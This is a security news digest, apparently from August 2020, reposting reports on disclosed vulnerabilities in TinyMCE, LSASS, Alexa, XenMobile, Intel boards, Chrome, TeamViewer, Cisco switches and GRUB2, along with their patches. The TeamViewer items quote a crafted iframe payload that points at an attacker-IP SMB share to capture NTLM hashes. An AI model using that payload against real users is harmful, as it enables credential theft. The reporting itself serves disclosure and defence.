Vulnerebility Articles - H 2020 1  2  3  4  5  6  7  8  9  Vulnerebility List -  H  2021  2020  2019  2018  Vulnerebility blog  Vulnerebility blog

Potentially Serious Vulnerability Found in Popular WYSIWYG Editor TinyMCE

13.8.20  Vulnerebility  Securityweek

A potentially serious cross-site scripting (XSS) vulnerability affecting the TinyMCE rich text editor can be exploited — depending on the implementation — for privilege escalation, obtaining information, or account takeover.

Developed by Tiny Technologies, TinyMCE is advertised as the most advanced WYSIWYG HTML editor designed to simplify website content creation. According to Tiny, the editor has been downloaded 350 million times per year and it’s included in more than 100 million websites. TinyMCE is available for free as open source, but Tiny also provides paid plans that include premium plugins, support and deployment services.

Researchers at Bishop Fox discovered in April that TinyMCE is affected by an XSS vulnerability whose impact depends on the application using the editor. The issue, tracked as CVE-2020-12648, impacts version 5.2.1 and earlier, and it was patched in July with the release of versions 4.9.11 and 5.4.1.

Successful exploitation can allow an attacker to escalate privileges, obtain information, and even hijack the targeted user’s account.

“Depending on the site in which tinyMCE is used, an attacker could exploit this as either stored or reflected (using a crafted link) XSS. I have seen both cases,” George Seketee, senior security consultant at Bishop Fox and one of the people credited for finding the flaw, told SecurityWeek.

He explained, “The exact details of exploitation vary with implementation, but generally an attacker needs to get tinyMCE to interpret the crafted string. This could be on initial page load, or by using some other portion of the site's functionality. At a low level, if tinyMCE's setContent() or insertContent() functions were called with a crafted payload, the XSS would trigger. TinyMCE indicated that the vulnerability was in their ‘core parser’, which may indicate there were other ways to trigger this vulnerability.”

Chris Davis, a Bishop Fox security consultant who has also been credited for reporting the vulnerability, added, “Due to the nature of XSS this will commonly result in privilege escalation and can be used to force arbitrary actions on a user's behalf unbeknownst to the user."

Dylan Just, information security lead at Tiny, said that in addition to patching the flaw in TinyMCE versions 5.4.1 and 4.9.11, they have identified workarounds, which are described in the company’s own advisory.

“We encourage all users to upgrade to TinyMCE 5.4.1, as TinyMCE 4 will reach end-of-life in December 2020. Customers using the "/5" channel of our cloud-hosted TinyMCE will receive the update automatically,” Just told SecurityWeek.

“TinyMCE is a web-based rich text editor, and the issue relates to content not being correctly sanitized before being loaded into the editor. We have released fixes for TinyMCE 4 and 5, but we recommend that all users upgrade to the latest TinyMCE 5. Further to this, we recommend that users sanitize content server-side, and add a suitable Content Security Policy to their websites,” he explained.

Just says security is “extremely important” to the company and it has advised anyone who has discovered a vulnerability to report it via email at infosec(at)tiny.cloud.

Microsoft's Patch for LSASS Flaw Incomplete, Google Researcher Says
13.8.20  Vulnerebility  Securityweek

Microsoft failed to properly address an elevation of privilege vulnerability in the Windows Local Security Authority Subsystem Service (LSASS), the Google Project Zero researcher who discovered the issue says.

Tracked as CVE-2020-1509, the vulnerability can be triggered through specially crafted authentication requests. For successful exploitation, an attacker needs previously obtained Windows credentials for the local network.

“LSASS doesn’t correctly enforce the Enterprise Authentication Capability which allows any AppContainer to perform network authentication with the user's credentials,” Project Zero security researcher James Forshaw noted in May.

At the time, the researcher explained that the issue is related to a legacy AppContainer capability providing access to the Security Support Provider Interface (SSPI), likely meant to facilitate the installation of line of business (LOB) applications within enterprise environments.

Authentication should be allowed only if the target specified in the call is a proxy, but Forshaw discovered that the authentication would be allowed even if the network name doesn’t match a registered proxy.

“What this means is that an AppContainer can perform Network Authentication as long as it specifies a valid target name to InitializeSecurityContext, it doesn’t matter if the network address is a registered proxy or not,” the researcher explains.

This means that an attacker could authenticate to network-facing resources without restrictions, rendering protections such as SPN checking and SMB signing useless. By exploiting the flaw, an attacker could access localhost services as well, albeit with some caveats.

Forshaw also published proof-of-concept (POC) code to demonstrate how an application can achieve elevated privileges through Enterprise Authentication bypass. The code seeks to list SMB shares, although it should not be allowed to.

Microsoft, which rates the vulnerability as important, released a fix for supported versions of Windows and Windows Server on August 2020 Patch Tuesday.

One day after the fix was released, however, Forshaw revealed that the patch failed to correctly address the vulnerability. An attack could still be mounted, as long as a configured proxy is present on the system.

“However in enterprise environments that's likely a given and there this issue is the most serious,” the security researcher notes.

Forshaw also explains that the POC for the original bug can still be used, but that a proxy server needs to be manually added in the settings and the code should be executed with specific arguments.

“This will connect to the local SMB server and print the shares. This will work even if SPN verification is enabled as the SMB server ignores the Service Name component of the SPN,” he concludes.

Amazon Alexa Bugs Allowed Hackers to Install Malicious Skills Remotely
13.8.20  Vulnerebility  Thehackernews

Attention! If you use Amazon's voice assistant Alexa in you smart speakers, just opening an innocent-looking web-link could let attackers install hacking skills on it and spy on your activities remotely.
Check Point cybersecurity researchers—Dikla Barda, Roman Zaikin and Yaara Shriki—today disclosed severe security vulnerabilities in Amazon's Alexa virtual assistant that could render it vulnerable to a number of malicious attacks.
According to a new report released by Check Point Research and shared with The Hacker News, the "exploits could have allowed an attacker to remove/install skills on the targeted victim's Alexa account, access their voice history and acquire personal information through skill interaction when the user invokes the installed skill."
"Smart speakers and virtual assistants are so commonplace that it's easy to overlook just how much personal data they hold, and their role in controlling other smart devices in our homes," Oded Vanunu, head of product vulnerabilities research, said.
"But hackers see them as entry points into peoples' lives, giving them the opportunity to access data, eavesdrop on conversations or conduct other malicious actions without the owner being aware," he added.

Amazon patched the vulnerabilities after the researchers disclosed their findings to the company in June 2020.
An XSS Flaw in One of Amazon's Subdomains
Check Point said the flaws stemmed from a misconfigured CORS policy in Amazon's Alexa mobile application, thus potentially allowing adversaries with code-injection capabilities on one Amazon subdomain to perform a cross-domain attack on another Amazon subdomain.
Put differently, successful exploitation would have required just one click on an Amazon link that has been specially crafted by the attacker to direct users to an Amazon subdomain that's vulnerable to XSS attacks.
In addition, the researchers found that a request to retrieve a list of all the installed skills on the Alexa device also returns a CSRF token in the response.
The primary purpose of a CSRF token is to prevent Cross-Site Request Forgery attacks in which a malicious link or program causes an authenticated user's web browser to perform an unwanted action on a legitimate website.
This happens because the site cannot differentiate between legitimate requests and forged requests.
But with the token in possession, a bad actor can create valid requests to the backend server and perform actions on the victim's behalf, such as installing and enabling a new skill for the victim remotely.
In short, the attack works by prompting the user to click on a malicious link that navigates to an Amazon subdomain ("track.amazon.com") with an XSS flaw that can be exploited to achieve code-injection.

The attacker then uses it to trigger a request to "skillsstore.amazon.com" subdomain with the victim's credentials to get a list of all installed skills on the Alexa account and the CSRF token.
In the final stage, the exploit captures the CSRF token from the response and uses it to install a skill with a specific skill ID on the target's Alexa account, stealthily remove an installed skill, get the victim's voice command history, and even access the personal information stored in the user's profile.
The Need for IoT Security
With the global smart speaker market size projected to reach $15.6 billion by 2025, the research is another reason why security is crucial in the IoT space.
As virtual assistants become more pervasive, they are increasingly turning out to be lucrative targets for attackers looking to steal sensitive information and disrupt smart home systems.
"IoT devices are inherently vulnerable and still lack adequate security, which makes them attractive targets to threat actors," the researchers concluded.
"Cybercriminals are continually looking for new ways to breach devices, or use them to infect other critical systems. Both the bridge and the devices serve as entry points. They must be kept secured at all times to keep hackers from infiltrating our smart homes."

Citrix Warns of Critical Flaws in XenMobile Server
13.8.20  Vulnerebility  Threatpost

Citrix said that it anticipates malicious actors “will move quickly to exploit” two critical flaws in its mobile device management software.

Citrix is urging users to immediately patch a pair of critical flaws in its flagship mobile device management software. If exploited, the flaws could allow remote, unauthorized attackers to access domain account credentials – ultimately opening the door to a treasure trove of corporate data, including email and web applications.

The flaws exist in Citrix Endpoint Management (CEM), often referred to as XenMobile Server, which enables businesses to manage employees’ mobile devices and mobile applications by controlling device security settings and updates. Overall, five vulnerabilities were discovered – two of which (CVE-2020-8208 and CVE-2020-8209) are rated critical in severity.

“We recommend these upgrades be made immediately,” Fermin J. Serna, Chief Information Security Officer at Citrix, said in a Tuesday post. “While there are no known exploits as of this writing, we do anticipate malicious actors will move quickly to exploit.”

One of the two critical flaws discovered, CVE-2020-8209, is a path traversal flaw that stems from insufficient input validation. Path traversal bugs stem from web security glitches that enable bad actors to read arbitrary files on the server that is running an application.

That’s the case here, as Positive Technologies expert Andrey Medov, who discovered the flaw, said that attackers can exploit the flaw by convincing users to follow a specially crafted URL. They would then be able to access arbitrary files outside the web server root directory, including configuration files and encryption keys for sensitive data.

“Exploitation of this vulnerability allows hackers to obtain information that can be useful for breaching the perimeter, as the configuration file often stores domain account credentials for LDAP [Lightweight Directory Access Protocol; an industry standard protocol used for accessing distributed directory information services over an IP network] access,” said Medov in a statement. “With access to the domain account, a remote attacker can use the obtained data for authentication on other external company resources, including corporate mail, VPN, and web applications. Worse still, an attacker who has managed to read the configuration file can access sensitive data, such as database password (local PostgreSQL by default and a remote SQL Server database in some cases).”

Specifically impacted at a critical level by the dual vulnerabilities is: XenMobile Server 10.12 before RP2, XenMobile Server 10.11 before RP4, XenMobile Server 10.10 before RP6 and XenMobile Server before 10.9 RP5.

The remaining three flaws (CVE-2020-8210, CVE-2020-8211 and CVE-2020-8212) are rated medium- and low-severity. Further details on these vulnerabilities, as well as on the second critical flaw (CVE-2020-8208) have not been published; Threatpost has reached out to Citrix for comment.

These lesser severity flaws affect CEM versions: XenMobile Server 10.12 before RP3, XenMobile Server 10.11 before RP6, XenMobile Server 10.10 before RP6 and XenMobile Server before 10.9 RP5.

“The latest rolling patches that need to be applied for versions 10.9, 10.10, 10.11, and 10.12 are available immediately,” said Serna. “Any versions prior to 10.9.x must be upgraded to a supported version with the latest rolling patch. We recommend that you upgrade to 10.12 RP3, the latest supported version.”

Citrix joins in on a slew of companies issuing regularly scheduled security updates this week, including Intel, which stomped out a critical-severity vulnerability affecting several of its motherboards, server systems and compute modules; Microsoft, which fixed 120 bugs including two under active attack; and Adobe, which patched 11 critical security holes in Acrobat and Reader.

Earlier in the year, Citrix in January grappled with a critical vulnerability (CVE-2019-19781) in the Citrix Application Delivery Controller (ADC) and Citrix Gateway products, as well as multiple vulnerabilities in these same products in June allowing code injection, information disclosure and denial of service.

Intel Patches Many Privilege Escalation Vulnerabilities in Server Boards
12.8.20  Vulnerebility  Securityweek

Intel informed customers on Tuesday that it has patched many potentially serious privilege escalation vulnerabilities in its Server Board products.

One advisory published by the tech giant describes over 20 vulnerabilities affecting Intel Server Boards, Server Systems and Compute Modules. A majority of the flaws can be exploited for privilege escalation, and a few of them can allow an attacker — one of them can be exploited without authentication — to launch DoS attacks via local access.

The most serious of the security holes is CVE-2020-8708, a critical improper authentication issue that allows an unauthenticated attacker to elevate privileges via adjacent access. Server Boards, Server Systems and Compute Modules prior to version 1.59 are impacted.Intel Server Board vulnerabiliites

Ten of the other flaws have been classified as high severity. They can be exploited for privilege escalation via local or adjacent access, and they are caused by buffer overflows, improper input validation, improper access control, and incorrect execution-assigned permissions in the file system.

Another advisory released by Intel for Server Board products describes two high-severity and one medium-severity vulnerabilities that can allow local privilege escalation. A third advisory describes two high-severity local privilege escalation bugs affecting Server Board M10JNP2SB before version 7.210.

Of the remaining 15 advisories published by Intel on Tuesday, five describe high-severity issues. The list includes a DoS flaw in the RAID Web Console 3 for Windows, privilege escalation in some NUC products, privilege escalation in Programmable Acceleration Cards (PAC) with Arria, privilege escalation and DoS vulnerabilities in Graphics Drivers, and DoS, information disclosure and privilege escalation bugs in Wireless Bluetooth products.

The medium-severity vulnerabilities affect Wireless for Open Source, LED Manager for NUC, Thunderbolt controllers, the Rapid Storage Technology Enterprise (RSTe) Software RAID driver, SSD Data Center Tool (DCT), Distribution of OpenVINO Toolkit, the RealSense D400 Series Universal Windows Platform (UWP) driver for Windows, the Mailbox Interface driver, and the Computing Improvement Program.

Intel recently launched an investigation after someone leaked 20GB of data belonging to the company, including technical documents and tools. The company’s initial probe revealed that the leaked information likely came from the Intel Resource and Design Center, from where it may have been downloaded by an individual who had access.

Google Awards $10,000 for Remote Code Execution Vulnerability in Chrome
12.8.20  Vulnerebility  Securityweek

Google this week announced that an update for Chrome 84 includes 15 security patches, including for a serious vulnerability for which the tech giant awarded a $10,000 bug bounty.

This vulnerability is CVE-2020-6542, a high-severity use-after-free bug in ANGLE (Almost Native Graphics Layer Engine), the Chrome component responsible for translating OpenGL ES API calls to hardware-supported APIs available for the operating system (such as Vulkan, OpenGL, and Direct3D).

Discovered by Piotr Bania of Cisco Talos, the remote code execution vulnerability is easy to exploit, as the attacker only needs to set up a website containing malicious code that would be triggered upon user visit.

“The attack can be embedded in a webpage. An attacker simply needs the ability to embed the code into a site either under their control or via something like an online advertisement. No further interaction is required,” the security researcher told SecurityWeek.

Bania also explains that one of the conditions that has to be met for successful exploitation is for ANGLE to be supported and enabled, which it is by default. The victim then has to visit the page hosting the malicious HTML code using the Chrome browser.

Google awarded the security researcher a $10,000 bug bounty reward for reporting this vulnerability.

The new browser iteration also patches use-after-free vulnerabilities in task scheduling (CVE-2020-6543), media (CVE-2020-6544), and audio (CVE-2020-6545) components, which were awarded $7,500, $7,500, and $5,000 rewards, respectively.

Three other high-severity use-after-free vulnerabilities that were patched in the new browser release either remain without a monetary reward because they were reported by Google researchers (CVE-2020-6549 – impacts media, CVE-2020-6550 – affects IndexedDB, CVE-2020-6551 – affects WebXR), or haven’t had a bug bounty set (CVE-2020-6552 – impacts Blink, and CVE-2020-6553 – affects offline mode).

The remaining high-risk bugs patched in Chrome 84 include CVE-2020-6546 (inappropriate implementation in installer), CVE-2020-6547 (incorrect security UI in media), and CVE-2020-6548 (heap buffer overflow in Skia). Google has yet to provide information on the bug bounties paid to the reporting researchers.

Google also fixed two medium-severity flaws reported by external researchers, namely CVE-2020-6554, a use-after-free in extensions, and CVE-2020-6555, an out-of-bounds read in WebGL, and paid $5,000 and $1,000 in bug bounties for them.

The latest Chrome release, available as version 84.0.4147.125, is already rolling out to Windows, Mac, and Linux users.

Critical Intel Flaw Afflicts Several Motherboards, Server Systems, Compute Modules
12.8.20  Vulnerebility  Threatpost

A critical privilege-escalation flaw affects several popular Intel motherboards, server systems and compute modules.

Intel is warning of a rare critical-severity vulnerability affecting several of its motherboards, server systems and compute modules. The flaw could allow an unauthenticated, remote attacker to achieve escalated privileges.

The recently patched flaw (CVE-2020-8708) ranks 9.6 out of 10 on the CVSS scale, making it critical. Dmytro Oleksiuk, who discovered the flaw, told Threatpost that it exists in the firmware of Emulex Pilot 3. This baseboard-management controller is a service processor that monitors the physical state of a computer, network server or other hardware devices via specialized sensors.
Emulex Pilot 3 is used by various motherboards, which aggregate all the server components into one system. Also impacted are various server operating systems, and some Intel compute modules, which are electronic circuits, packaged onto a circuit board, that provide various functions.

The critical flaw stems from improper-authentication mechanisms in these Intel products before version 1.59.

In bypassing authentication, an attacker would be able to access to the KVM console of the server. The KVM console can access the system consoles of network devices to monitor and control their functionality. The KVM console is like a remote desktop implemented in the baseboard management controller – it provides an access point to the display, keyboard and mouse of the remote server, Oleksiuk told Threatpost.

The flaw is dangerous as it’s remotely exploitable, and attackers don’t need to be authenticated to exploit it – though they need to be located in the same network segment as the vulnerable server, Oleksiuk told Threatpost.

“The exploit is quite simple and very reliable because it’s a design flaw,” Oleksiuk told Threatpost.

Beyond this critical flaw, Intel also fixed bugs tied to 22 critical-, high-, medium- and low-severity CVEs affecting its server board, systems and compute modules. Other high-severity flaws include a heap-based overflow (CVE-2020-8730) that’s exploitable as an authenticated user; incorrect execution-assigned permissions in the file system (CVE-2020-8731); and a buffer overflow in daemon (CVE-2020-8707) — all three of which enable escalated privileges.

Oleksiuk was credited with reporting CVE-2020-8708, as well as CVE-2020-8706, CVE-2020-8707. All other CVEs were found internally by Intel.

Affected server systems include: The R1000WT and R2000WT families, R1000SP, LSVRP and LR1304SP families and R1000WF and R2000WF families.

Impacted motherboards include: The S2600WT family, S2600CW family, S2600KP family, S2600TP family, S1200SP family, S2600WF family, S2600ST family and S2600BP family.

Finally, impacted compute modules include: The HNS2600KP family, HNS2600TP family and HNS2600BP family. More information regarding patches is available in Intel’s security advisory.

Intel also issued an array of other security advisories addressing high-severity flaws across its product lines, including ones that affect Intel Graphics Drivers, Intel’s RAID web console 3 for Windows, Intel Server Board M10JNP2SB and Intel NUCs.

Critical Flaws Affect Citrix Endpoint Management (XenMobile Servers)
12.8.20  Vulnerebility  Thehackernews

Citrix today released patches for multiple new security vulnerabilities affecting its Citrix Endpoint Management (CEM), also known as XenMobile, a product made for enterprises to help companies manage and secure their employees' mobile devices remotely.
Citrix Endpoint Management offers businesses mobile device management (MDM) and mobile application management (MAM) capabilities. It allows companies to control which apps their employees can install while ensuring updates and security settings are applied to keep business information protected.
According to Citrix, there are a total of 5 vulnerabilities that affect on-premise instances of XenMobile servers used in enterprises to manage all apps, devices, or platforms from one central location.
"Remediations have already been applied to cloud versions, but hybrid rights users need to apply the upgrades to any on-premises instance," the company said in a post today.
If left unpatched and exploited successfully, the newly identified security vulnerabilities could collectively allow unauthenticated attackers to gain administrative privileges on affected XenMobile Servers.
"We recommend these upgrades be made immediately. While there are no known exploits as of this writing, we do anticipate malicious actors will move quickly to exploit," the company warned.
The two vulnerabilities—tracked as CVE-2020-8208 and CVE-2020-8209 and rated as critical—impact following XenMobile Server versions:
XenMobile Server 10.12 before RP2
XenMobile Server 10.11 before RP4
XenMobile Server 10.10 before RP6
XenMobile Server before 10.9 RP5
Whereas, the other three security vulnerabilities—tracked as CVE-2020-8210, CVE-2020-8211, and CVE-2020-8212 and rated medium/low in severity—resides in the following versions:
XenMobile Server 10.12 before RP3
XenMobile Server 10.11 before RP6
XenMobile Server 10.10 before RP6
XenMobile Server before 10.9 RP5
One of the critical flaws (CVE-2020-8209), discovered by Andrey Medov of Positive Technologies, could allow an unauthenticated attacker to read arbitrary files outside the web-server root directory, including configuration files and encryption keys for sensitive data.
"Exploitation of this vulnerability allows hackers to obtain information that can be useful for breaching the perimeter, as the configuration file often stores domain account credentials for LDAP access," Mendov explained.
Therefore, with access to the domain account, the remote attacker can target other external company resources, such as corporate mail, VPN, and web applications.
What's worse, according to the researcher, is that the attacker who has managed to read the configuration file can access sensitive data, like database password (local PostgreSQL by default and a remote SQL Server database in some cases).
However, since the database is stored inside the corporate perimeter and cannot be accessed from the outside, Mendov said, "this attack vector can only be used in complex attacks, for example, with the involvement of an insider accomplice."
"The latest rolling patches that need to be applied for versions 10.9, 10.10, 10.11, and 10.12 are available immediately," Citrix notes in a blog post.
"Any versions prior to 10.9.x must be upgraded to a supported version with the latest rolling patch. We recommend that you upgrade to 10.12 RP3, the latest supported version."
Since Citrix products have recently emerged as one of the favorite targets for hackers after wild exploitation of Citrix ADC, Gateway and Sharefile vulnerabilities, users are highly recommended to patch their systems to the latest versions of the software.
To be noted, the company has not yet revealed technical details of the vulnerabilities but has already pre-notified several major CERTs around the world and its customers on July 23.

TeamViewer flaw can allow hackers to steal System password
11.8.20  Vulnerebility  Securityweek

A severe vulnerability impacting TeamViewer for Windows, tracked as CVE 2020-13699, could be exploited by remote attackers to steal the system password.
TeamViewer has recently addressed a high-risk vulnerability (CVE 2020-13699), that could be exploited by remote attackers to steal system password and potentially compromise it.

TeamViewer is a popular software application for remote control, desktop sharing, online meetings, web conferencing and file transfer between computers

The vulnerability, classified as an “Unquoted URI handler”, could be triggered by tricking the victims into visiting a malicious web site.

The vulnerability was discovered by the researcher Jeffrey Hofmann from Praetorian, it resides in the way TeamViewer quotes its custom URI handlers. The expert discovered that the issue could allow an attacker to force the software to relay an NTLM authentication request to the attacker’s system.

The issue in the TeamViewer’s URI scheme allows a web page crafted by the attack to trick the application installed on the victim’s system into initiating a connection to the attacker-owned remote SMB share.

This means that the SMB authentication process will leak the system’s username, and NTLMv2 hashed version of the password to the attackers.

The attacker could embed a malicious iframe on a website and then trick victims into visiting that maliciously URL. Upon clicking the link shared with the victims, TeamViewer will automatically launch its Windows desktop client and open a remote SMB share.

“An attacker could embed a malicious iframe in a website with a crafted URL (
iframe src='teamviewer10: --play \\attacker-IP\share\fake.tvs'
) that would launch the TeamViewer Windows desktop client and force it to open a remote SMB share,” explained Jeffrey Hofmann, a security engineer with Praetorian, who discovered and responsibly disclosed the flaw.

“Windows will perform NTLM authentication when opening the SMB share and that request can be relayed (using a tool like responder) for code execution (or captured for hash cracking).”

The TeamViewer project has fixed the issue by quoting the parameters passed by the affected URI handlers.

The vulnerability affects TeamViewer versions 8 through 15 (up to 15.8.2) for the Windows platform. TeamViewer released the version 15.8.3 to address the issue and users are recommended to use it.
Such kind of issues is very dangerous because of the popularity of the software that is used by millions of users.

At the time of addressing the issue, the TeamViewer team is not aware of attacks in the wild exploiting the issue.

TeamViewer Flaw Could Let Hackers Steal System Password Remotely
10.8.20  Vulnerebility  Thehackernews
If you are using TeamViewer, then beware and make sure you're running the latest version of the popular remote desktop connection software for Windows.
TeamViewer team recently released a new version of its software that includes a patch for a severe vulnerability (CVE 2020-13699), which, if exploited, could let remote attackers steal your system password and eventually compromise it.
What's more worrisome is that the attack can be executed almost automatically without requiring much interaction of the victims and just by convincing them to visit a malicious web page once.
For those unaware, TeamViewer is a popular remote-support software that allows users to securely share their desktop or take full control of other's PC over the Internet from anywhere in the world.
The remote access software is available for desktop and mobile operating systems, including Windows, macOS, Linux, Chrome OS, iOS, Android, Windows RT Windows Phone 8, and BlackBerry.
Discovered by Jeffrey Hofmann of Praetorian, the newly reported high-risk vulnerability resides in the way TeamViewer quotes its custom URI handlers, which could allow an attacker to force the software to relay an NTLM authentication request to the attacker's system.
In simple terms, an attacker can leverage TeamViewer's URI scheme from a web-page to trick the application installed on the victim's system into initiating a connection to the attacker-owned remote SMB share.

This, in turn, triggers the SMB authentication attack, leaks the system's username, and NTLMv2 hashed version of the password to the attackers, allowing them to use stolen credentials to authenticate the victims' computer or network resources.
To successfully exploit the vulnerability, an attacker needs to embed a malicious iframe on a website and then trick victims into visiting that maliciously crafted URL. Once clicked by the victim, TeamViewer will automatically launch its Windows desktop client and open a remote SMB share.
Now, the victim's Windows OS will "perform NTLM authentication when opening the SMB share and that request can be relayed (using a tool like responder) for code execution (or captured for hash cracking)."
This vulnerability, categorized as 'Unquoted URI handler,' affects "URI handlers teamviewer10, teamviewer8, teamviewerapi, tvchat1, tvcontrol1, tvfiletransfer1, tvjoinv8, tvpresent1, tvsendfile1, tvsqcustomer1, tvsqsupport1, tvvideocall1, and tvvpn1," Hofmann said.
The TeamViewer project has patched the vulnerability by quoting the parameters passed by the affected URI handlers e.g., URL:teamviewer10 Protocol "C:\Program Files (x86)\TeamViewer\TeamViewer.exe" "%1"
Though the vulnerability is not being exploited in the wild as of now, considering the popularity of the software among millions of users, TeamViewer has always been a target of interest for attackers.
So, users are highly recommended to upgrade their software to the 15.8.3, as it's hardly a matter of time before hackers started exploiting the flaw to hack into users' Windows PCs.
A similar SMB-authentication attack vector was previously disclosed in Google Chrome, Zoom video conferencing app, and Signal messenger.

High-Severity Cisco DoS Flaw Plagues Small-Business Switches
7.8.20  Vulnerebility  Threatpost

Cisco recently patched the high-severity flaw, which could allow remote, unauthenticated attackers to launch DoS attacks against its popular small business switches.

Cisco is warning of a high-severity flaw that could allow remote, unauthenticated attackers to cripple several of its popular small-business switches with denial of service (DoS) attacks.

The vulnerability stems from the IPv6 packet processing engine in the switches. IPv6 (also known as Internet Protocol version 6) is the most recent version of the Internet Protocol (IP), the communications protocol that provides an identification system for computers on networks and routes traffic across the Internet.

The flaw (CVE-2020-3363), which has a CVSS score of 8.6 out of 10, is due to insufficient validation of incoming IPv6 traffic.

“An attacker could exploit this vulnerability by sending a crafted IPv6 packet through an affected device,” said Cisco in its Wednesday advisory. “A successful exploit could allow the attacker to cause an unexpected reboot of the switch, leading to a DoS condition.”

Cisco switches affected by this flaw include: 250 Series Smart Switches, 350 Series Managed Switches, 350X Series Stackable Managed Switches, 550X Series Stackable Managed Switches. These switch lineups range in functionality and price, but all were released between 2015 and 2016, and all are web-managed, entry-level devices intended for small businesses. Updates are available for these products in Release 2.5.5.4.7.

Also affected by the flaw are three series of switches that have reached the end-of-software-maintenance milestone, meaning they will not receive patches. Those are: Small Business 200 Series Smart Switches, Small Business 300 Series Managed Switches and Small Business 500 Series Stackable Managed Switches. It’s not the first time that end of life (EoL) has stopped Cisco from issuing patches for these specific switches when they were vulnerable. In July, Cisco warned that it wasn’t issuing firmware updates in the three switches to address a high-severity flaw that could allow remote, unauthenticated attackers to access the switches’ management interfaces with administrative privileges.

The Cisco Product Security Incident Response Team (PSIRT) said it is not aware of any public announcements or malicious use of the vulnerability. This flaw specifically affects IPv6 traffic – IPv4 traffic (the IP that IPv6 replaced) is not affected, said Cisco.

“Cisco has released software updates that address this vulnerability for devices that have not reached the end of software maintenance,” Cisco said. “There are no workarounds that address this vulnerability.”

Beyond this flaw, Cisco fixed three other high-severity vulnerabilities, with a slew of Thursday security advisories.

One of those is a similar vulnerability in the IPv6 implementation of Cisco StarOS. Cisco StarOS is a virtualized software architecture that spans the ASR (Aggregation Services Routers) 5000 Series. This flaw (CVE-2020-3324) also stems from insufficient validation of incoming IPv6 traffic and could enable an unauthenticated, remote attacker to launch a DoS attack on affected devices.

Another high-severity flaw (CVE-2020-3411) in Cisco’s DNA Center software could allow an unauthenticated remote attacker access to sensitive information on impacted systems. The Cisco DNA Center is a network controller and management dashboard, with integrated tools for network management, automation, virtualization, analytics, security and internet of things (IoT) connectivity.

A final flaw (CVE-2020-3433) plugged by Cisco on Wednesday exists in the AnyConnect Secure Mobility Client for Windows, Cisco’s unified security endpoint agent that delivers security services to protect the enterprise. The flaw exists in the interprocess communication (IPC) channel and could allow an authenticated, local attacker to perform an attack called DLL hijacking, where attackers exploit Windows applications search and load Dynamic Link Libraries.

Google Analysis of Zero-Days Exploited in 2019 Finds 'Detection Bias'

4.8.20 Vulnerebility  Securityweek
Google Project Zero last week released a report on the vulnerabilities exploited in attacks in 2019, and its researchers have drawn some interesting conclusions regarding the detection of zero-days.

Google Project Zero has been tracking vulnerabilities exploited in the wild since 2014 and last year it made available a spreadsheet showing the flaws it has tracked.

The first “Year in Review” report shows that in 2019 there were 20 vulnerabilities that were found to be exploited in the wild, although Project Zero pointed out that these were only the security holes that were detected by the industry, and the actual number of new zero-days exploited last year was likely higher.

The list of vulnerabilities exploited last year includes weaknesses affecting Apple’s iOS, Microsoft’s Windows and Internet Explorer, Google’s Android and Chrome, Mozilla’s Firefox, and Trend Micro’s OfficeScan.

While 11 of the 20 flaws impact Microsoft products — this is five times more compared to Apple and Google products — Project Zero noted that this percentage shows that Microsoft products are a prime target for threat actors, but the number can likely also be attributed to “detection bias.”

“Because Microsoft has been a target before some of the other platforms were even invented, there have been many more years of development into 0-day detection solutions for Microsoft products. Microsoft’s ecosystem also allows for 3rd parties, in addition to Microsoft themself, to deploy detection solutions for 0-days. The more people looking for 0-days using varied detection methodologies suggests more 0-days will be found,” explained Google Project Zero researcher Maddie Stone.

Stone also pointed out that of the 11 zero-days found in Microsoft products, only four were used against Windows 10 users, which could also be an indicator of detection bias.

“Is legacy software really the predominant targets for 0-days in Microsoft Windows, or are we just better at detecting them since this software and these exploit techniques have been around the longest?” the researcher asked.

While there only appear to be a handful of exploited iOS and Android vulnerabilities and no exploited flaws affecting Linux or macOS, this does not necessarily mean these platforms are not targeted. Instead, it shows that the industry should focus more on detecting attacks aimed at these operating systems.

This is also demonstrated by the fact that more than half of the 20 vulnerabilities exploited in 2019 were detected by Clément Lecigne of Google's Threat Analysis Group (7 zero-days) and Kaspersky (4 zero-days).

“If two entities out of the entirety of the global security community are responsible for detecting more than half of the 0-days in a year, that’s a worrying sign for how we’re using our resources,” Stone noted. “The security community has a lot of growth to do in this area to have any confidence that we are detecting the majority of 0-days exploits that are used in the wild.”

The researcher also highlighted that only one of the vulnerabilities exploited last year was discovered internally by the vendor — the same flaw was also independently discovered by an external researcher — which she says is surprising because vendors should be better positioned to detect zero-days.

“This begs the question: are the vendor security teams that have the most access not putting resources towards detecting 0-days, or are they finding them and just not disclosing them when they are found internally?” Stone said. “Either way, this is less than ideal. When you consider the locked down mobile platforms, this is especially worrisome since it’s so difficult for external researchers to get into those platforms and detect exploitation.”

Google Project Zero’s spreadsheet shows that the list for 2020 already includes 11 exploited zero-days, including ones affecting Firefox, Internet Explorer, Chrome, Trend Micro’s OfficeScan, Windows, and Sophos’ XG firewalls.

BootHole Patches Causing Many Systems to Become Unbootable
31.7.20  Vulnerebility  Securityweek

It appears that the patches released for Linux distributions in response to the GRUB2 bootloader vulnerability are causing problems for many users, making their systems unbootable.

The flaw, tracked as BootHole and CVE-2020-10713, impacts PCs, servers and other devices running Linux and Windows if they use Secure Boot. An attacker with admin privileges on the targeted system can exploit the vulnerability to run malicious code when the device boots up, enabling them to install stealthy and persistent malware.

Completely patching BootHole is not an easy task as it will involve replacing vulnerable bootloaders and updating the Secure Boot revocation list (DBX) to ensure that the old bootloaders cannot be executed, a process that requires collaboration between multiple software and hardware vendors.

BootHole patches causing problems

Linux distributions have already started releasing updates for the grub2, shim and other packages in response to the vulnerability. However, it appears that those packages have been causing problems for many users, resulting in their systems hanging during the boot process.

Red Hat users were the first to report problems, but it appears that other Linux distributions are experiencing similar issues, including Ubuntu, Debian, CentOS and Mint.

Security researcher Kevin Beaumont reported that major cloud providers such as Azure and Digital Ocean are also seeing systems that fail to boot due to the patches.

He pointed out that similar problems were caused by the initial patches released a few years ago for the notorious Meltdown and Spectre vulnerabilities.

“I think there is a genuine conversation to be had about security vulnerabilities and the wider outlook. A primary concern with security (and in business) is availability. As an industry we also need to be better at careful analysis of vulnerabilities, and staggered testing of patches. The provided solution has again, unfortunately, become worse than the vulnerability for most people,” Beaumont noted.

Impacted Linux distributions are working on developing new packages and some of them have provided instructions on how users can restore systems impacted by the buggy patches.

Capsule8’s Kelly Shortridge predicted after BootHole was disclosed, “We might see more damage from people attempting the mitigation rather than attackers leveraging this in dastardly digital crimes.”

Billions of Devices Impacted by Secure Boot Bypass
31.7.20  Vulnerebility  Threatpost

The “BootHole” bug could allow cyberattackers to load malware, steal information and move laterally into corporate, OT, IoT and home networks.

